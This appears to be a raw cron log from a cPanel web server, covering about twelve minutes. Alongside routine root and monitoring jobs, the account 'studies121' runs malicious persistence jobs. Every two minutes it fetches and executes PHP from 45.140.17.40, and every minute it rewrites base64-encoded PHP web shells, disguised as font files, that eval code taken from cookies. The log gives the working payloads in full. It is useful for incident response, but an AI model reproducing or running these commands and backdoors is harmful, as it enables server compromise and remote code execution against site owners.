Sep  3 21:54:01 ip-184-168-122-23 CROND[5293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:54:01 ip-184-168-122-23 CROND[5295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:54:01 ip-184-168-122-23 CROND[5296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:54:01 ip-184-168-122-23 CROND[5298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:54:01 ip-184-168-122-23 CROND[5297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:55:01 ip-184-168-122-23 CROND[5403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:55:01 ip-184-168-122-23 CROND[5405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:55:01 ip-184-168-122-23 CROND[5408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:55:01 ip-184-168-122-23 CROND[5406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:55:01 ip-184-168-122-23 CROND[5407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:55:01 ip-184-168-122-23 CROND[5411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:56:01 ip-184-168-122-23 CROND[5489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:56:01 ip-184-168-122-23 CROND[5491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:56:01 ip-184-168-122-23 CROND[5493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:56:01 ip-184-168-122-23 CROND[5496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:56:01 ip-184-168-122-23 CROND[5497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:57:01 ip-184-168-122-23 CROND[5582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:57:01 ip-184-168-122-23 CROND[5583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:57:01 ip-184-168-122-23 CROND[5584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:57:01 ip-184-168-122-23 CROND[5587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:58:01 ip-184-168-122-23 CROND[5746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:58:01 ip-184-168-122-23 CROND[5747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:58:01 ip-184-168-122-23 CROND[5751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:58:01 ip-184-168-122-23 CROND[5752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:58:01 ip-184-168-122-23 CROND[5753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:59:01 ip-184-168-122-23 CROND[5833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:59:01 ip-184-168-122-23 CROND[5832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:59:01 ip-184-168-122-23 CROND[5834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:59:01 ip-184-168-122-23 CROND[5835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:00:01 ip-184-168-122-23 CROND[5927]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 22:00:01 ip-184-168-122-23 CROND[5930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:00:01 ip-184-168-122-23 CROND[5932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:00:01 ip-184-168-122-23 CROND[5935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:00:01 ip-184-168-122-23 CROND[5931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:00:01 ip-184-168-122-23 CROND[5933]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:00:01 ip-184-168-122-23 CROND[5936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:00:01 ip-184-168-122-23 CROND[5934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:00:01 ip-184-168-122-23 CROND[5938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:01:01 ip-184-168-122-23 CROND[6033]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 22:01:01 ip-184-168-122-23 CROND[6034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:01:01 ip-184-168-122-23 CROND[6035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:01:01 ip-184-168-122-23 CROND[6037]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:01:01 ip-184-168-122-23 CROND[6036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:01:01 ip-184-168-122-23 CROND[6039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6033]: starting 0anacron
Sep  3 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6055]: finished 0anacron
Sep  3 22:02:01 ip-184-168-122-23 CROND[6129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:02:01 ip-184-168-122-23 CROND[6131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:02:01 ip-184-168-122-23 CROND[6134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:02:01 ip-184-168-122-23 CROND[6135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:02:01 ip-184-168-122-23 CROND[6136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:03:01 ip-184-168-122-23 CROND[6216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:03:01 ip-184-168-122-23 CROND[6218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:03:01 ip-184-168-122-23 CROND[6220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:03:01 ip-184-168-122-23 CROND[6219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:04:01 ip-184-168-122-23 CROND[6292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:04:01 ip-184-168-122-23 CROND[6295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:04:01 ip-184-168-122-23 CROND[6294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:04:01 ip-184-168-122-23 CROND[6298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:04:01 ip-184-168-122-23 CROND[6300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:05:01 ip-184-168-122-23 CROND[6397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:05:01 ip-184-168-122-23 CROND[6399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:05:01 ip-184-168-122-23 CROND[6401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:05:01 ip-184-168-122-23 CROND[6404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:05:01 ip-184-168-122-23 CROND[6403]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:05:01 ip-184-168-122-23 CROND[6400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:05:01 ip-184-168-122-23 CROND[6405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:06:01 ip-184-168-122-23 CROND[6566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
